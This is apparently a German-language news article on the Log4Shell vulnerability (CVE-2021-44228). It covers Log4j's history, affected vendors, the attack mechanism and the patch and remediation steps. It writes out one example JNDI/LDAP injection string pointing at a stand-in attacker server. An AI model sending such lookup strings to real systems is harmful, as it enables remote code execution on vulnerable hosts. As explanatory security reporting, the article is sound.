Die Lage im Katastrophenfall Log4Shell (CVE-2021-44228)

Vergangenen Freitag wurde eine kritische und überaus leicht ausnutzbare 0-Day-Sicherheitslücke (CVE-2021-44228) in Log4j gemeldet und seitdem herrscht weltweit Chaos und Panik - zumindest bei IT-Administratoren und Software-Entwicklern. Denn obwohl der Name Log4j normalen Nutzern kaum bekannt sein dürfte, gibt es das in Java entwickelte Logging-Framework schon seit Ewigkeiten. Es gilt als Standardlösung und wird daher sehr breit eingesetzt, was sich nun bitterlich rächt.

Was ist Log4j und wo findet man es?
Die Anfänge von Log4j gehen auf das Jahr 1996 zurück, als Ceki Gülcü bei IBM in Zürich gearbeitet hatte. Damals fehlte den Standardbibliotheken der plattformübergreifenden Programmiersprache Java die Möglichkeit zur Protokollierung von Ereignissen (Logging) und so wurde Log4j von Gülcü ins Leben gerufen, um diesen Mangel zu beseitigen. Inzwischen gehört Log4j zum Logging-Projekt der Apache Software Foundation und darf unter Einhaltung der Apache-Lizenz 2.0 in allen möglichen Projekten eingesetzt werden. Und das geschieht nicht nur in Software, sondern auch in Hardware - schließlich läuft auf Netzwerk- und IoT-Geräten zumeist Linux in Kombination mit Java.

Worin Log4j genau enthalten ist, wissen oft nicht einmal die Firmen, die diese Soft- und Hardware-Produkte in Umlauf bringen. Oft wird ein Teil der Entwicklung ausgelagert oder zugekauft, Projekte fallen aus dem Support und die Teams werden aufgelöst, Projekte und Firmen werden übernommen oder der Neffe des Nachbarn vom Vertriebsleiter hatte da mal was in den Ferien programmiert, das seit zwölf Jahren mit höchsten Rechten auf dem Firmenserver läuft. Bisher gibt es noch keine vollständige Übersicht und vermutlich wird es eine solche auch niemals geben. Als Orientierungshilfe dienen derzeit die Liste von SwitHak (aktuell 184 Einträge) sowie die Liste von Royce Williams. Neben Apache finden sich dort IT-Riesen wie Amazon (AWS), Microsoft (AZURE, Minecraft) und Google, Netzwerk- und Hardware-Ausrüster wie Broadcom, Cisco, Dell, Huawei und TP-Link, Sicherheitsspezialisten wie BitDefender, CheckPoint, F-Secure, McAfee, Sophos und TrendMicro sowie Software- und Dienstanbieter wie CloudFlare, Docker, Netflix, Oracle, SAP, Software AG und VMware. Kurzum: Es ist eine große und höchst illustere Runde!

Die Sicherheitslücke
Auf GitHub gibt es funktionierden Proof-of-Concept-Code und dieser ist lediglich 305 Bytes lang und selbst für Laien verständlich. Es wird einfach eine manipulierte Anfrage, welche eine Zeichenkette der Art ${jndi:ldap://127.0.0.1:1389/a} enthält, an ein verwundbares Gerät geschickt und schon kontaktiert der Verzeichnisdienst JNDI den hinterlegten Server 127.0.0.1 auf dem gewünschten Port 1389 und lässt sich bösartigen Java-Code zum Ausführen unterschieben. In diesem Beispiel wäre 127.0.0.1 also der Server des Angreifers. Wer nun denkt, man könnte eine solche Zeichenkette im Vorfeld einfach ausfiltern, irrt leider gewaltig. Es gibt derart viele Möglichkeiten, den eigentlichen Inhalt zu Verschleiern, dass sich kein sinnvoller Filter erstellen lässt. Tatsächlich müsste man die Verarbeitung der Zeichenkette durch Log4j emulieren und dann das Ergebnis begutachten, doch das geht weit über einfache Filterregeln hinaus und erfordert weitere Sicherheitsmaßnahmen wie das Sandboxing einer solchen Emulation.

Die Lösung
Log4j wurde in der Version 2.15.0 abgesichert. Zum einen wurde das Auflösen von Namen eingeschränkt, um deren Übernahme aus unsicheren Protokollen zu vermeiden. Zum anderen werden Lookups nicht mehr standardmäßig in den Protokollnachrichten angezeigt. Es gibt zwar noch die Möglichkeit, diese Funktion manuell zu aktivieren, doch davon raten die Entwickler dringend ab. Die Lösung ist folglich ganz simpel: In allen betroffenen Produkten muss die angreifbare Variante von Log4j gegen die aktuelle Version 2.15.0 getauscht werden. Doch bei vielen Produkten ist der Support längst ausgelaufen, so dass sich dort rein gar nichts mehr tun wird. Zudem benötigt Log4j seit der Version 2.13.0 zumindest Java 8, so dass alle Produkte mit älteren Java-Versionen gar nicht aktualisiert werden können. Zugegeben, diese haben dann noch ganz andere Probleme, dennoch kommt mit Log4Shell noch ein ganz großes obendrauf. Vom Logging-Projekt der Apache Software Foundation gibt es zumindest ein paar Workarounds, mit denen sich ältere Versionen gegen Angriffe härten lassen.

Im Anschluss müssen diese Updates nur noch auf die PCs, Server und Geräte der Kunden gelangen. Und dann müssen alle Systeme und Netze, in denen sich angreifbare Geräte befunden hatten, auf eine mögliche Kompromittierung hin untersucht werden. Im Zweifelsfall sind potentiell kompromittierte PCs, Server und Geräte neu aufzusetzen. Und bis die Lage geklärt ist, klemmt man idealerweise erst einmal alles ab. Also alles ganz simpel, in der Realität aber kaum umsetzbar. Und genau deshalb stellt Log4Shell ein derart unkalkulierbares Risiko dar.